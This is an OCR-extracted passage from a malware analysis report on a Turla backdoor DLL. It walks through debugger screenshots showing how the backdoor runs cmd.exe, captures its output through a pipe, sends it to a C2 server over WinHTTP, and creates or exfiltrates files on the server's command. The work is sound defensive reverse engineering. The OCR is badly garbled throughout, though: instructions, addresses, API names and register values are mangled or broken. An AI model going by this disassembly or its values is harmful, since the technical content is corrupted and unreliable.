: ' 4 X87r1 00000000000000000000 ST1 Empty 0.0000000000000000(
' ;; 44 48 ',2‘3}‘ E';g“?ag” ssifirsprasl,rax X87r2 00000000000000000000 ST2 Empty 0.0000000000000000
i 45 AD lea rax'mrd ptr ss:frbp-sol ¥87r3 00000000000000000000 5T3 Empty 0.0000000000000000(
: Dé ) X87r4 00000000000000000000 ST4 Empty 0.0000000000000000(
: . 44 24 40 mov gword ptr ss:frspe4od, rax X87r5 00000000000000000000 STS Empty 0.0000000000000000(
] . XOF &CX,ecx X87r6 00000000000000000000 STE Empty 0.00000000000000004
: . 5C 24 38 mov gqword ptr rsp+38f,rox X87r7 00000000000000000000 ST7 Empty 0.00000000000000004
{ . 5C 24 30 mov gword ptr rsp+30
l . 24 zs 00 00 00|mov dword ptr rsD—"B o8 x87Tagword FFFF
] . 01 00 00|mov dword ptr 1
PP e Iﬂ. &E oo 00 |call qword per ds [Mruteﬂrocusm] ] -
L. 3 » * (5 %[ uniocke:
qword ptr [DO0DO7FFBA7T3B3050 <turla.&CreateProcessw>]=<kernel3z.CreateProcessws rdu.mmislsnsgngl L L exe"
r8 0000000000000000
r9 0000000000000000
. TexT: 00007 FFBA73B1179 turla.d11:51179 #579
3
@owmp!  @pump? @Woump3  @oump4  Woumps @ watch1  eellocals 1
000000803E1EF3FE [IAC 05 00 00]00 00 00 00[AD 05 00 00[00 DO
000000803E1EF408 | 00 00 00 0000 00 00 00|00 00 00 00|00 0O
000000803E1EF418| 00 00 00 00|00 00 00 00|18 00 00 00|00 0O
000000803E1EF428| 00 00 00 0000 00 0O 00|01 00 OO 00|00 0O
000000B03ELEF438 68 00 00 00|00 DO
000000803ELEF448| 00 00 D0 00[00 00 00 00|00 00 00 00|00 0O

WaitForSingleObiject is used to wait until the above process is in the signaled state or
OxEA60 = 60000ms = 60 seconds have elapsed:



O0007FFBA7T3B11BS
00007 FF 8.

mov rg!.mrd ptr ss:firsp+ssj SRS
L2 RAX  0000000000000001
' dsif<awaitForsingleobject>] | gax  pooooonooooooooo
rc:,qwgrd ptr ss:ffrsp+5s) AC3 e o
war Egn ::n RDX 000000000000EAED

ANANTEERATIRIICN

Figure 39
The output of the created process is copied from the anonymous pipe into a buffer by calling
the PeekNamedPipe function:

|| oooo7FFEA7 381105 E8 D6 02 00 00 EEIT turia.7FFBAT3B13E0 RAX  0000000000000000
|| 00DO7FFBAT3B1104 48 BB 45 30 mov rax,qword ptr ss:ffrbp+3 REX 00000CO0OOO00000
e || 00007FF8AT3B110E 48 8D 4C 24 68 lea rcx,gword ptr ss:frsp+s RCX  DODOODOCOODOOSAC 1
@ DO0OTFFBAT3B1113 33 D2 xor edx,edx L
o || coo07FFRATIR111S 45 89 45 FO mov gword ptr ss:[frbp-10f,rax RDX  0000000000000000
o || cooo7FFBA73B1119 48 BB 44 24 60 mov rax,qword ptr ss:irsp+eoll RBP  DOOODOSO3ELEF4AD
- C7 45 AD 68 00 00 00|mov dword ptr ss:[frbp-s0f,68 BSE  DOOODOSO3EIEF3AQ
. 1 C7 45 DC 01 01 00 00|mov dword ptr ss:frbp-24§,101 RSI  DOO0DDOSO3ELEFS20
o || coo07FFRA7IRI1ZC 44 BD 42 18 lea rad,qword ptr ﬂ.S‘[l’ﬂXTls] RDI 000000803ELEF620
@|| 0000TFFBATIBL1130 &6 89 5D EO mov word ptr s3:frbp-2
00007FFBA73B1134 48 89 45 F8 mov qword ptr ss:firbp- .rax RS 0000000000000000
D00D07FFBA73B1138 48 89 45 00 mov_gword ptr ss:frbpl,rax R9 0000000000000000
00007FF8A73B113C ES 9F 02 00 00 turla.7FF8A73B13E0 R10  DODODODODODODODO
00007 FFBAT3B1141 48 BD 44 24 &8 ea rax,qword ptr ss:frsp+esj RI1 D000D0DO00D00Z 46 L'E"
O0007FFBAT3B1146 45 33 C9 xor rod,r9d R12 S03ELEFERD
00007FFBA73B1149 48 B9 44 24 48 mov qngrd 3tr ss:lirsp+asf,rax Rid s 2
D0D07FFEAT3B114E 45 33 CO xor réd,rs SAROEOOEEN ORI - -
00007FF8AT3B1151 48 BD 45 AD lea rax,qword ptr ss:frbp-so] R14  OODOOLFLEBASAOAL L"emd, exe
00007 FFBA73B1155 49 8B D6 mov rdx,ri4 R15 0000008B03ELEFES0
O00O7FF 8. B1158 48 89 44 24 40 mov gword ptr ss:frspesoll,rax
00007 FFEA7 381150 33 C9 XOr ecx,ecx RIP  DODOOTFFBAT3B11DC turla.00007FF8A73811DC
DODO7FFBAT3B115F 45 89 5C 24 38 mov gqword ptr ss:ffrsp+3 ,rbx
0000TFFBATIBE1164 48 89 5C 24 30 mov gword ptr ss:frsp+3 RFLAGS O000000000000246
00007FFBA73B1169 €7 44 24 28 00 00 00|mov dword ptr ss:frsp+2s ,BDDUDL’IG ZF1 PF1 AF O
€7 44 24 20 01 00 00|mov dword ptr ss:frsp+2 OF D SFO DF O
00DO7FFBA73B1179 FF 15 D1 1E 00 00  |EEM gword ptr ds.chrenterrnceisb] CFO TFO IF1
00007FFBAT3B117F 85 €O ;est eaglc sEax
00D07FFBA73B1181| ~ 7§ 32 ne turla.7FFBAT3B1185
DO007FFBATIB1183 48 BB 4D 30 mov recx,qword ptr ss:frbp+3of LastError 00000000 (ERROR_SUCCESS)
00007 FF8A73B1187 FF 15 B3 1E 00 00 E&W gword ptr ds: [<4CloseHandles] Laststatus CO00007C (STATUS_NO_TOKEN)
00007FF8A73B118D 48 BB 4C 24 50 mov_rcx,qword ptr ss:lfrsp+sof
FFBA7 FF 15 A8 1E 00 00 €& gword ptr ds:[<&CloseHandles] GS 002B FS 0053
00007FFBA73B1198 48 BB 4C 24 60 mov_rcx,gqword prr ss‘lfsprﬁ ES 002B QS 0028
OODOFFFBA73A1190 FF 15 S0 1E 00 00 E&W gword ptr ds:[<aCloseHandles] €S 0033 35 0028
DOODTFFBAT3B11A3 48 BB 4C 24 5B mov_rcx,qword ptr ss:lfirsp+ss]
00007FF8A73B11A8 FF 15 92 1E 00 00 €& gword ptr ds:[<&CloseHandles] X87r0 00000000000000000000 STO Empty O.0000000000000000C
SCaIFE A TEe Ak oo Rov -l 4 X87r1 00000000000000000000 ST1 EmpTy 0.0000000000000000C
OOOOPFFAAZIBIIEG] v ES AN 01 00 0O imp turla.7FFSA7IBL2EF x87r2 0000D00000D000000000 ST2 EmPTy O.0000000000000000C
00007FFBAT3B11B5 48 BB 4C 24 68 mov rcx,qword ptr ss:lfirsp+esl 27r3 00000000000000000000 ST3 E Pty o‘ononm)ononoooooo(
D0007FFBA7 381184 BA 60 EA 00 00 mov_edx,EAGD e MEEYLOE
00007FF8A73B118F FF 15 B3 1E 00 00 EaW qgword ptr ds: tmwForsing‘lenbjecb] X87r4 00000000000000000000 ST4 Empty O.0000000000000000¢
00DOTEFBA73B11CS 48 BB 4C 24 58 mov rcx,qword per se:frspessl X87rS 00000000000000000000 STS Empty 0.0000000000000000C
DO0OTFFBATIBIICA 45 33 C9 xor rod,rod Xx87r6& 00000000000000000000 ST6 Empty O.0000000000000000C
00D07FFBA73B11CD 45 33 CO xor réd,rad X87r7 00000000000000000000 ST7 Empty 0.0000000000000000¢
DO0007FFBAT3B11D0 48 B9 5C 24 28 mov gword ptr ss:frsp+2s),rbx
00007FFBA73B11D5 33 D2 xor edx,edx xB87Tagword FFFF
00007 FFBATIBE11D7 mov d ptr s rsprzzl,rm =
] 7 DC | ds: [<aPeekNamedPipes] 0 v
>

qword ptr [00007FFBA73B3058 <turl a. &FeekNamedPi pex]=<kerneliz. FeekNamedP1 pes

«Text:00007FFBAT3IBLIDC turla.dll:$11DC #5DC

@hoump3  §4Dump 4

W oump 2

4% Dump 5 Ieeilocals 5 Struct

& watch 1

.............

Flgure 40
The process reads data from the pipe using ReadFile:
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00000000000000°
bellocls Y struct | [oonnnn SRS P R R (000 00803E 1ERS 20
D00000S03E 1E7 380 | 000000B03ELEF 620
0O0000803ELEF 388

Figure 41

000001F16B9EZ2ZD0

000001F16B9EZZED

O00001F16BIEZZFO : i 0| ; ; 9. .
O00001F16B9EZ300 | 3 : B3| 7 ; 20 | F|gure 42
ODD00LFLEE9EZ310 : 74 69 ! ) tio

000001F16EB3EZ3IZ0 |

000001F16B2EZ2330 na i g : 3
00001F16B3EZ340 b 81 D5 AL 2E |00 33 OO0 BC

The backdoor kills the process created above using the TerminateProcess routine:

o] 00D0O7FFBAT3IB12BS 48 8B 4C 24 68 mov rcx,qword ptr ss:lirspresi RAX  0000000000000078 et
L] nﬂﬂﬂrFFEA 381284 33 D2 xor edx,edx RBX  0000000000000000
RIP e O 00007 FF8AT 38 B FF 15 B | gword ptr ds:[<&TerminateProcess>] | RCX  00000000000005SC o
- 00007 FF8A7 3812C.2 35 88 4 30 mov_rcx,qword ptr ss:[rbp+3 L
NONOTFERATIR1PCR FE 15 74 1D N0 00 ERIY awnrd are de: e Incadandlss] RDX  0000000000000000

Figure 43

The execution flow of creating a POST request (WinHttpOpenRequest ->
WinHttpAddRequestHeaders -> WinHttpSetOption -> WinHttpSendRequest) is repeated and
will not be detailed again. The process output is exfiltrated to the CnC server:

o | oooo7FrearaBLICS mov rcx,qword ptr Ss:firspescl = " [rax oooooiriessE2200
* v xcr rad,rod REX  0000000000000000
< v rsd,;sd : b RCX  0000000000000SAC O
. o T et Sl | %5x  cooooiricsseasno
. mov gqword ptr ss:frspzof,rdi RBP 000000BO3ELEF4AD
- E&F gword ptr d ang‘uemw] BSP  000000803E1EF3AD
. test eax,eax RSI  DDODOOBO3ELEF520
. jne turla.7FFBA73B1225 RDI  DDODOOBO3ELEFE20
i . mov rcx,qword ptr ss:frsp+ss]
i . xor edx,edx RS 000000000000007 8 e
: b gword ptr ds:[<aTerminateProcess>] RS 000000B03ELEF4DE
1L mo¥ foxagword prr E"l'b"*”m ] R10  0000000000000000
H . gword ptr ds:[<&CloseHandle>
{ . mov rcx,qmrd ptr ts:frep+50] ::;’ mg:g:g:m
Il BN gword ptr ds:[<Aclos "5 ) R13  D000O000O000D00Z
L] B
T -“*"“J";ﬂ, 5;_?:.!:::.. dles] R14  DDODO1F1G6BASADAL L"cmd. exe”
' . mov rcx,qword ptr 55'|rsp+5§ R15  0000DDOBO3ELEFE50
i - call ;lquor ptr ds:[<aCloseHandles] i
. mov al,s RIF O0007FFBAT3B128C Turla. 00007 FF8AT3B128C
jmp tur'la.?FF&!?QHZEF ]
mov_ecx,dword ptr ds:[rdi] RFLAGS  0000000000000202
e turial PFFaaz3a1zes RGP D AR D
turia.7FF8A7381310 it
mov gword ptr ds:[rsi],rax
test rax,rax
jne turla.7FFBA73B1278 LastError 00000000 (ERROR_SUCCESS)
mov rcx,qword ptr ss:[frspres] LasTSTatus CO00007C (STATUS_NO_TOKEN)
wor eds,eds
E&W1 qword ptr ds:[<aTerminateProcesss] GS D028 F5 0053
mov _rcx,gword ptr ss.lrbp+;c- ES 0028 [S 0028
d ptr ds:[<&CloseHandlex] €S 0033 35 0028
mov_rcx,qword ptr ss:rsp+50f
“— M;:ofsfpgﬁ'fﬂi‘“%g dies] X87r0 0000000000000000D000 STO EMPTy O.00000DOOOOOOOOOO
e R 00000000000000000000 + 0000000000000000
€&l quord ptr ds: [<aCloseHandles] ::;:; 00000000000000000000 g‘f‘ 5'-'33 4 0000000000000000¢
B FER, mnrd - pLe “'"’5’“*59 87r3 00000000000000000000 ST3 :
can ?md ptr de:[<aCloseHandles] :57:4 £i2 gm‘g g.wouounuououooou(
00000000000000000000 - DDODODO00DO0000T
mov a
jmp turla.7FFBATIB1ZEF x87r5 00000000000000000000 STS Empty O.0000000000000000C
mov r8d,dword ptr ds:[rdi] X87r& 00000000000000000000 ST6 Empty O.0000000000000000C
lea ro,qword ptr ss ]iopa X87r7 00000000000000000000 ST7 Empty O.0000000000000000C
mov rcx,qword ptr ss:frsp+s
mov F!‘Ll f&x x87Tagword FFFF
. Text:00007FFBA738128C turla.d11:$128C #68C
@Woump1  pump2 UMDump3  WDump 4 B watch 1
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UL FHBA S SB1FAB

. Text: 00007 FFBAT3B2068 turla.d11:$2068 #1468

FF

=888

1

8

EO

FE

FF

00
11
FE

FE
0o

00
33

00

oo

30

20
00

00

00

20

00

oo

0o

MOV rCx,ris
€&l turla.7FFBAT3B1430

mov risd,eax

lea ecx,gword ptr ds:[rax+10]

gall turla.7FF8A73B1310

mov rdi,rax

Test rax,rax

je turla.7FFB8A73B20CD

mov rad,E

lea rdx,qword ptr ds:[7FF8A73B3130]
mOoV rcx,rax

€al turla.7FF8A73B1390

1ea rcx,qword ptr ds:[rdi+E]

mov rBd,ri5d

mov rdx,rid

€W turla.7FFaA7381390

mov ro9d, 20000000

or réd,FFFFFFFF

mov rdx,rdi

mov_rcx,rb:

call qmrd ptr ds:[<awinHtTpAddRequestHeat
mov rcox,rbx

test eax,eax

je turla.7FFBAT3IB20D0

mov rod,s

mov dword ptr ss:frbp+ssj,3300

lea r8,qword ptr ss:ffrbp+58

lea edx,qword ptr ds:[ra+18

E&IY gword ptr ds:[<awWinHttpSetOptions]
mov rox,rbx

Test eax,eax

je turla.7FF8AT3B20D0

mov edi,dword ptr ss:lrbp+soll
xor risd,risd

mov gword ptr ss:Q@rsp+30f,ris
xor rod,rad

mov dword ptr ss:Qrsp+2g],edi
xor rad,rsd

xor edx,edx

mov dwrd ptr ss:Brsp+20f,risd

€all gword ptr ds:[<awinHttpSendRequests>]
mov rcx,rbx

Test eu,eu

je turla.7FFBAT3IB20CS

lea r9,gword ptr ss:frbp-zoj

mov rad,edi

mov rdx,ri2

Mﬂ%w nHtTpWriteData>]

¥ oump 1

#% Dump 2

% Dump 3

% Dump 4

% Dump 5

@ watch1  Ie-llocals 5 Struct

O00001F16B9DAGED
O00001F1689DAGT0
000001F1EBSDAGE0
000001F 168904630
000001F16B9DAGAD
O00001F16B89DAGE0
O00001F16B9DAECO

Figure 44

000001 FJ...GB.!:AQED I

&F
30

20

64
sC

40
73
31
32
6F
72
v s]
79

57

20
oo
73
2E
65
B4
00

.Mmicrosoft win
ows [version 10.
0.16299.309]. ‘;c
) 2017 Microso

Corporation. Al
1 rights reserve 000
73| d.....C:\Windows 0
ASysTem32»...... 2

1st byte = 0x03 — create and populate a file

XB7ro0
XB7r1i
X87r2
x87r3
XB7r4
XB7rs
X87r6
X87r7

e ———

RAX 0000000000000001
RBX D00001F16B98BF60
RCX 000001F16898BF60
RDX 000001F1LEB9DAG50
REF 000000B03E1EF660
BSE 0000008B03ELEFE00
RS5I 000001F16B897 9130
RDI 000000000000007,
RE 000000000000007A
R3 000000803ELEF640
R10D 000001F 168970080
R11 1]

R12 000001F16B9DA650
R13 000001F16898BDD0
R14 000001F16B89B81EED
R15 0000000000000000
RIP 0000TFFBAT 382068
RFLAGS 0000000000000202

ZF 0 PF O AF O
OF 0 SFO DF O
CFO TFO IF 1

GS 0028 FS 0053
E5S 0028 QI 0028
C5 0033

55 o028

x87Tagword FFFF

&L"0ad3e319-280c-4F11-94d4-¢
&L"SYSTEM\\CurrentControlset
el

2t

L'E"

L"Dad3e319-280c-4F11-94d4-d:

turla. 00007FFBAT3B2068

LastError 00000000 (ERROR_SUCCESS)
LastStatus CO00007C (STATUS_NO_TOKEN)

Empry
EmpTy
Empty
Empty
EmpTy
EmpTy
EmpTy
Empty

Peﬁdk0ﬁ4ﬁﬂuﬂ

# !
rdx 000001F16E3DAG50

rgé 000000000000007A
r9 000000803ELEFE40

| 0O0000B03EL
0000008036
Q00000803EL
000000803EL
000000803EL
000000803E ‘F»!’an
BO3EL
803EL

JOBO3ELEF648|

O00B03ELEFE5 n'l 000001F
Anonacicces ol Annans

q ETL
05| 000001F 16B961EEQ | L"0ad3e313-280c-4f11-94d4-d369

10| 00007FF

ZUl

38| 00007 F

ci1£0a723

044
15| 0D0001F16B979130 | &L"SYSTEM\\CurrentControlseth,
0000000000000000

000000000000007A
0000000000000000

F880000000
40| 00006BC982BF126E
0000000

16B9DAE50
cn

The backdoor creates a file specified by the C2 server using CreateFileW (0x40000000 =
GENERIC_WRITE, 0x2 = CREATE_ALWAYS, 0x80 = FILE_ATTRIBUTE_NORMAL):
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®| DODOTFFBAT 3816FD 33 D2 xor edx,edx . - RAX  0000000000000012
® || 00007FFBAT3B16FF C7 45 AF 68 00 00 00|mov dword ptr ss:frbp-s 168 ", -
o/l DODOTFFBATIBLTOE 45 8D 4D BF lea rcx, rd ptr_ss:[rbp- :‘:: m:;:éa::xi ngmnzgcfr*
o/l 00007FFBAT3BLTOA €7 45 EB 01 01 00 00|mov dword ptr ss:lffrbp-15 101 2
o[l oo0O7FFEATIELTIL 44 8D 42 18 lea r&d,qword prr de: [rdx+18] RDX  0000000040000000
o[ D00O7FFBAT3IE1T1S E8 C6 FC FF FF E&1T turla.7FFBA73B13ED RBP  OOOODODBO3ELEFSAL e o
®| DODOFFFBAT3BLT1A 48 BD 45 BF lea rax,qword ptr ss:ffrbp-718 RSP 000000803ELEF4DO aL"file. txt
o 00DD7FFBAT3B1T1E 45 33 ED xor ri3d,ri3d RSI  0000000000000012
e || DODOTFFBATIBLT21 45 89 44 24 48 mov gword ptr ss:ffrsp+45],rax RDI 000001F1E6BASADAL L*file. ext"
e[| 00DO7FFBATIELT26 45 33 €9 xor rod,rsd
o/ DODOTFFBATIB1729 48 8D 45 AF 1ea rax,qword ptr ss:lfirbp-sil RS 0000000000000000
#|| DODOTFFBAT3B1720 45 33 CO xor rad,réd RS 0000000000000000
® || DODO7FFBATIBLTI0 48 89 44 24 40 mov qgord ptr ss:firsps4of,rax R10  00000000D0000000
00007 FFBA7 381735 48 8B D7 mov rdx,rdi
00007 FFBAT3B1738 4C 89 6C 24 38 mov gword ptr ss:Q@rsp+3sf,ri3 ::; mg:ﬁg:gg
0D007FFBA7 381730 33 C9 X0r ecx,ecx
DOD07FFEA7 3B173F 4 89 & 24 30 mov rd ptr ss:ffrsp+30f,ri3 R13  0000000000000000 S
D0DO7FFBATIBL744 €7 44 24 28 00 00 00|mov rd ptr ss:firsps2 aoooouo R14  0000000000000020
00007 FFBA73IBLT4C C7 44 24 20 01 00 00|mov dword ptr ss:frsp+2 R15  0OODOOOBO3ELEFES0
DODO7FFBA7 381754 FF 15 F& 18 00 0O - gword ptr ns'[txrutellrotum]
41 8B DD mov ebx,ri3d RIP  DDODTFFBAT3BL7CE turla.00007FFBAT3B17CE
41 B9 04 00 00 00 mov rad,
0000 FFB%”BBJ."EG 85 CO test eax,eax RFLAGS D000000000000246
00007 FFBA73BLTE5 41 OF 44 D9 cmove ebx,rad ZF1 PF1 AF O
ODDO7TFFBAT3B1769 « E9 48 06 00 00 jmp l:llr'll 7FFBAT3IBIDEE OF 0 SEO DF O
DODD7FFFBAT3B176E 4C 8D 4D TF lea ro,qword ptr ss:Qrbop+7Fl§ CEO TFO IF1
DODO7FFBAT3B1772 41 88 D& 1||w edx'rus ' ps
D0DOTFFSA7IBLTTS 4C 8D 44 24 50 ea r8,quord ptr ss:frsp+s
ODDOTEFBATIBLTTA 48 BB CF mov_rex,rdi Lasteérror 00000000 (ERROR_SUCCESS)
DODOTFFBATIELT 7D EB 7E FB FF FF €AW turla.7FFSAT3B1000 Laststatus CO00007C (STATUS_NO_TOKEN)
00007FFBA7 381782 OF BG DB movzx ebx,al
DO007FEBA73E1785| ~ E9 29 06 00 00 jmp turla.7FFBAT3E1DB3 GS 0028 FS 0053
00007 FFBA7 3817 48 8B CF mov_rcx,rdi ES 0028 QS 002B
00007 FFBA7 EB 9E FC FF FF E&T1 turla.7FF8AT3B1430 €S D033 S5 0028
00007 FFBA7 45 33 ED xor ri3d,ri3d
DODO7FEBATS 5 88 FO mov esi,eax x87r0 0000000000000000000 m + 0000000000000000(
SOOFFESAT IS LS srance CEyT sax. x40 x:}'rg 00000000000000000000 ?r: E-gtt; g‘ggooooooooooooooc
COOOIEFRATIRITAN] = EE S b turla.7FFEA73B17A3 xB7r2 00000000D00000000000 STZ Empty O.0000000000000000(
00007 FFBAT3B179C B3 01 mov bl,1 Ll L
OODOTEFBATIBITIE| v E9 13 06 00 00 jmp turla.7FFEATIEIDEE X87r3 00000000000000000000 ST3 Empry 0.0000000000000000(
DODOTFERATIBITAI aC 89 6C 24 30 mov qword ptr ss:frsp-30d,ri3 X87r4 00000000000000000000 ST4 EmpTy 0.0000000000000000
ODD07FFBAT3B17AB 45 33 C9 xor rod,rad X87r5 00000000000000000000 STS Empty 0.0000000000000000(
00007 FFBAT3R1TABR €7 44 24 28 80 00 00|mov dword ptr ss:[frsp+25],580 X*87r& 00000000000000000000 STE Empty 0.0000000000000000¢
00007 FFBAT 381783 45 33 CO xor r8d,rsd X87r7 00000000000000000000 ST7 Empty 0.0000000000000000(
D0007FFBA73B1786 BA 00 00 00 40 mov edx, 40000000
00007 FFE. B178B mov dword ptr ss:frsp+20§,2 x87Tagword FFFF
DODOTFFBAT3B17C3 mov_rcx,rdi 2
1 <&CreateFilews] &
>

gword ptr [0D007FFBA73B3038 <turla.déCreateFilew>]=<kernel32.CreateFilew>

. Text:00007FFBAT3IBL7CE6 turla.d11:517C6 #BCE

@Woumpt  PHDump2  WHoump3  BdDump4

o=l Locals

@ watch 1
"000001F 16BAE 9F 20
ououo:FiS&lSeru
BASSF 40

Flgure 45
The WriteFile APl is utilized to populate the file with data received from the server:

0o
00 00 00 00
00

- 48 B9 44 24 40 mov gword ptr ss:@rsp+dofl,rax RAX 00000000000005 30
L] 48 8B D7 mov rdx,rdi
: RO [ R R REX 0000000000005 30
. 33 €3 XOr ecx,ecx - "
- 4C 89 6C 24 30 mov qword ptr ss:frsp+3of,ris ROX  D00DOO1F16BASADB3 L7test
C7 44 24 28 00 00 00| mov g-ord ptr ssifirsp+2 .sununon RBP  DODODOSO3ELEFSAL o 5
. C7 44 24 20 01 00 00|mov dword ptr ss:ifirsp+2 BSE  0O00000B03E1EF4D0 &L"file.txt
. 7 FF 15 F6 18 00 00 Ea1 qword ptr ds.[-ﬂﬂ:rente?rocessh} RSI  0000000000000012
o[ 00007FF8A73IRI7SA 41 8B DD mov ebx,ri3d RDI  0OO0ODLF16BASADAL L"file.txt"
o 00007FFEAT3B175D 41 B9 04 00 00 0O mov rad,4
o[ oooo7FFBATIE 85 CO Test eax,eax RS 000000000000000E
- 41 OF 44 D9 cmove e_l;l(.r?d R 0O0000B03ELEFG08
~ E9 48 06 00 00 mp turla.7FF8A73B81DB6 0000!
4C 8D 4D 7F ea r9,qword ptr ss:[rbp+7Fl) 10 KLFLERAS 2 LED I
R1l  D00ODO0O00000Z46 L'E
- B8 41 BB D6 mov edx,risd
o/ cooo7Fraar3s 4C 8D 44 24 50 ‘Iea ra,qword ptr ss:frsp+sof R1Z  DOOODOSOZELEFGEO
o[ nooo7Frea7aR 48 88 CF rox, rdi R13  0000000000000000
™ ES 7E FB FF FF “ turla.7FFSA73B1000 R14  000000000000000E
. OF BE D8 movZx ebx,al R15  DO0ODOSO3EIEFES0
v E9 29 06 00 00 jmp turlal7FFBA7381DE3
. 48 8B CF mov_rex,rdi RIP  DOOOTFFBAT3BL7F2 turla.00007FFBAT3B17F2
. 8D ES 9E FC FF FF &1 turla, 7FFBATIE1430
o 00007 chrzsi 92 45 33 BD xor ri3d,ri3d RFLAGS  0000000000000212
®| 00007FFEAT3ELTSS 88 FO mov esi, eax ZF O PFO AF 1
o[ 00007FFBAT3R17S7 41 3B C6 cmp eax,rid OFE 0 SE O DEO
00007 FFBAT 3B ~ 72 O7 ib :ur‘l .?FF&\?;M?AB CFO TFO IF1
00007 FEBA73IBL7IC B3 01 mov bl,
00007 FFBAT3B179E ~ E9 13 06 00 00 imp tur‘ln. 7FFBAT3B1DB6
00007FFBAT3B17A3 4C 89 6C 24 30 mov gword ptr ss:frsp+30§,ri3 Lastérror 00000000 (ERROR_SUCCESS)
00007 FFBATIBLTAS 45 33 €9 xor rod,rsd LastStatus CO00007C (STATUS_NO_TOKEN)
00007FFBAT 3B17AB C7 44 24 28 80 00 00|mov dword ptr ss:Brsp+25d,80
DO0D07FFBAT3IBLTE3 45 33 CO xor rad,rsd G5 002B FS 0053
0D007FF8AT3B17B6 BA 00 00 00 40 mov edx, 40000000 ES 002B Q5 OoOz8
€7 44 24 20 02 0D 0O mv dword ptr ss:frspsz0§,2 €5 0033 55 0028
48 BB CF rex, rdi
D0007FFBAT3BL7CE FF 15 € 18 00 00 - qword ptr ds: [<aCreaterilews] X87r0 00000O00OD00O00OO00O00 STO EMPy O.0000000000000000C
DOTME R AN IRk ol mov rbx,rax ¥87r1 00000000000000000000 STL Empty O.0000000000000000C
00D07FFBA7 48 83 F8 FF Cmp rax,FFFFFFFFFEFEFEFF x87r2 sT2 Empty O
00007FF8A73B17D3| ~ 75 O7 jne turla.7FFSAT3B17DC i GR00GMNI0000A00000 = £40000000G0A00O0
DO007EFBATIB17D5 B2 06 mov bl,s X87r3 00000000000000000000 ST3 Empty 0.0000000000000000¢
00007FF ~ E9 DA 05 00 00 imp turla.?7FF8A73BIDEE %87r4 00000000000000000000 ST4 Empty 0.0000000000000000C
44 2B F6 Sub ri4d,esi x87r5 00000000000000000000 STS Empty 0.0000000000000000C
4C 89 6C 24 20 mov gword ptr ssifrsps2of,ri3 X87r6 00000000000000000000 ST6 Empty O.0000000000000000C
45 BB C6 mov rsd,risd X87r7 00000000000000000000 ST7 Empry O.0000000000000000C
Tea rdx.quord prr ds'{rd1rrs1]
lea bp+&7l x87Tagword FFFF
a2 s
riterilexJn v
3 Default (x64 fastcal)
qword ptr [DODOTFFBAT3B3090 <turla.&WriteFiles]=<kernel32.writeFile> 2: rdx OODOOLF1GBASADB3 L"tTest"
3: r8 000000000000000E
4: r9 000000 F
. Text:00007FFBA73B17F2 turla.d11:$17F2 #8F2 e CocE steis

1F16BASADAL | L"File. txt”™ "

000000803ELEF4DE | 0000000000000000
000000803ELEF4ED [ 0000000000000000
UUUUUBSUBE EF4ES 0000000000000000

4% pump 1 @ watch 1

@4 Dump 5

4% Dump 4

4% Dump 3

4% Dump 2 |==lLocals 4 Stuct

=~

000001F 16845920 00 00 00 00[00 00 00 00100 00 00 00[00 00 00 00| <srssrsvovs
Figure 46
A confirmation message “03 00” is sent to the C2 server.

1st byte = 0x04 — exfiltrate a file to the C2 server
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The process opens a file nominated by the server using CreateFileW (0x80000000 =
GENERIC_READ, 0x3 = OPEN_EXISTING, 0x80 = FILE_ATTRIBUTE_NORMAL):

EB 9E FC FF FF E&11 turla.7FFBAT3IB1430 RAX  0000000000000012
35 33 = ::; ;é?dé;i3d REX  O00007FFELBD5A001 "ndowLongPtrw”
41 3B C& cmp eax:rl-m RCX 00000LF1EBASADAL L"file, txt"
v 72 07 b turla.7FFBATIB17A3 RDX  0000000080000000
B3 01 mov b1,1 REF  0O000DSO3ELIEFSAL e =
~ E9 13 06 00 00 jmp turla.7FF8A73B1DB6 BSE  000000S03ELEF4DO &L"file. txt
4C 89 6C 24 30 mov qword ptr ss:frsp+3of,ri3 RSI  000D01F16B979130 &L"SYSTEM\\CurrentControlsetr'
45 33 €9 xor rod,rsd RDI  OO0001F16BASADAL L*file. exe”
C7 44 24 28 80 00 00|mov dword ptr ss:lffrspr25),s80 |
45 33 CO xor rgd,rsd RS 0000000000000000
BA 00 00 00 40 mov edx, 40000000 R9 0000000000000000
€7 44 24 20 02 00 00|mov dword ptr ss:frsp+20f,2 | R10 0000000000000000
6 B CF e iy R1l  OODDOOBO3ELEFSED
FF 15 &C 18 00 00 E&1 gword ptr ds:[<&CreateFilews] R12 DO0000B03E 1EFEBO
48 8B D8 mov rbx,rax
48 83 FB FF cmp rax,FFFFFFFFFFFFEEFF R13  0000000000000000
~ 75 07 jne turla.7FFBAT3B17DC R14  0000000000000012
B3 06 mov bl,6 R1S 000000B03ELEFES0
00007 FF 8 7 ~ E9 DA 05 00 00 jmp turla.7FFBAT3B1DBE
DDOTFFEB 44 2B F6 sub ri4d,esi RIP OO00TFFBAT3BLE4A turla.00007FFBATIBL184A
4C 89 6C 24 20 mov gword ptr ss:ffrsp+zof,ri3
45 8B C6 mov r&d,ri4d RFLAGS  0000000000000246
48 8D 14 37 lea rdx,qword ptr ds:[rdi+rsi] ZF 1 PF1 AF O
4C 8D 4D &7 Tea ro,qword ptr ss:Brbp+e7ll
OF 0O SFO DF O
48 8B CB mov rcx,rbx 3 - CFO TFO IF 1
FF 15 98 18 00 00 €& gword ptr ds:[<@writeFiles]
48 8B CB mov FCX,rba
85 co Test eax,eax | LastError 00000000 (ERROR_SUCCESS)
+ OF 85 BA OO0 00 00 ne turla.7FFBA73E188D LastStatus CO00007C (STATUS_NO_TOKEN)
FF 15 37 18 00 00 h gword ptr ds:[<&Closedandle>]
B3 07 mov bl,7 GS 002B FS 0053
~ E9 A6 05 00 00 imp turla.?FFBAT3BIDBE ES 0028 QS 0028
48 BB CF mov_rcx,rdi €S 0033 35 002B
EB 18 FC FF FF AT turla.7FFBAT3B1430
45 33 ED xor risd,risd x87r0 00000000000000000000 STO Empty 0.0000000000000000(
rolretla amp_eax,ri4d %87r1 00000000000000000000 STL Empty 0.0000000000000000(
v 74 07 je turla.?FFBAT3B1827 e g
B2 01 o BT 1 X87r2 00000000000000000000 ST2 EmPTY 0.0000000000000000(
- 87r3 00000000000000000000 ST3 EmpTy 0.00000000000000000
~ E9 8F 05 00 00 jmp turla.7FF8A73B1D86 L
4C 89 6C 24 30 mov gqword ptr ss:[rsp+30f,ri3 X87r4 00000000000000000000 ST4 EmpTy 0.0000000000000000(
45 33 C9 xor rod,rad X87r5 00000000000000000000 STS Empty 0.0000000000000000(
€7 44 24 28 80 00 00|mov dword prr ss:frsp+2sj,80 X87r6 00000000000000000000 STE Empty 0.0000000000000000(
